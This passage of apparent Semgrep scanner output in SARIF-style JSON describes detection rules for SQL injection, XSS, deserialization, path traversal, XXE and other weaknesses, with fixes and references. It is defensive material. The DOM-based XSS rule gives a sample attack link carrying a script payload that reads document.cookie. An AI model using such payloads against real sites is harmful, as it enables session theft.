(XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.xss.ktor-request-xss.ktor-request-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.ponyorm-django.ponyorm-django","id":"python.django.db.ponyorm-django.ponyorm-django","name":"python.django.db.ponyorm-django.ponyorm-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.ponyorm-django.ponyorm-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","id":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","name":"python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-dill-fastapi.tainted-dill-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"help":{"markdown":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation)\n - [https://twitter.com/peckshield/status/1510232640338608131](https://twitter.com/peckshield/status/1510232640338608131)\n - [https://twitter.com/FrankResearcher/status/1510239094777032713](https://twitter.com/FrankResearcher/status/1510239094777032713)\n - [https://twitter.com/larry0x/status/1510263618180464644](https://twitter.com/larry0x/status/1510263618180464644)\n - [https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9](https://andrecronje.medium.com/keep3r-network-on-chain-oracle-price-feeds-3c67ed002a9)\n - [https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f](https://etherscan.io/address/0x210ac53b27f16e20a9aa7d16260f84693390258f)\n","text":"Keep3rV2.current() call has high data freshness, but it has low security,  an exploiter simply needs to manipulate 2 data points to be able to impact the feed."},"helpUri":"https://semgrep.dev/r/solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","id":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","name":"solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.keeper-network-oracle-manipulation.keeper-network-oracle-manipulation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ELB has no logging. Missing logs can cause missing important event information."},"help":{"markdown":"ELB has no logging. Missing logs can cause missing important event information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"ELB has no logging. Missing logs can cause missing important event information."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","id":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","name":"terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elb-access-logs-not-enabled.aws-elb-access-logs-not-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust)\n - [https://angular.io/api/router/ActivatedRoute](https://angular.io/api/router/ActivatedRoute)\n - [https://angular.io/api/router/ActivatedRouteSnapshot](https://angular.io/api/router/ActivatedRouteSnapshot)\n - [https://angular.io/api/platform-browser/DomSanitizer](https://angular.io/api/platform-browser/DomSanitizer)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","id":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","name":"typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"help":{"markdown":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)\n - [https://owasp.org/www-community/attacks/DOM_Based_XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS)\n","text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss","id":"javascript.browser.security.dom-based-xss.dom-based-xss","name":"javascript.browser.security.dom-based-xss.dom-based-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.dom-based-xss.dom-based-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"help":{"markdown":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request)\n - [https://cwe.mitre.org/data/definitions/95.html](https://cwe.mitre.org/data/definitions/95.html)\n","text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","id":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","name":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint","id":"rust.rocket.sql.sqlx-taint.sqlx-taint","name":"rust.rocket.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"help":{"markdown":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","id":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","name":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-file-permissions.insecure-file-permissions"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"help":{"markdown":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls)\n - [https://golang.org/pkg/net/http/#ListenAndServeTLS](https://golang.org/pkg/net/http/#ListenAndServeTLS)\n","text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls","id":"go.lang.security.audit.net.use-tls.use-tls","name":"go.lang.security.audit.net.use-tls.use-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.use-tls.use-tls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","id":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","name":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express","id":"javascript.express.db.sqlite-express.sqlite-express","name":"javascript.express.db.sqlite-express.sqlite-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sqlite-express.sqlite-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"help":{"markdown":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0)\n","text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","id":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","name":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","LOW 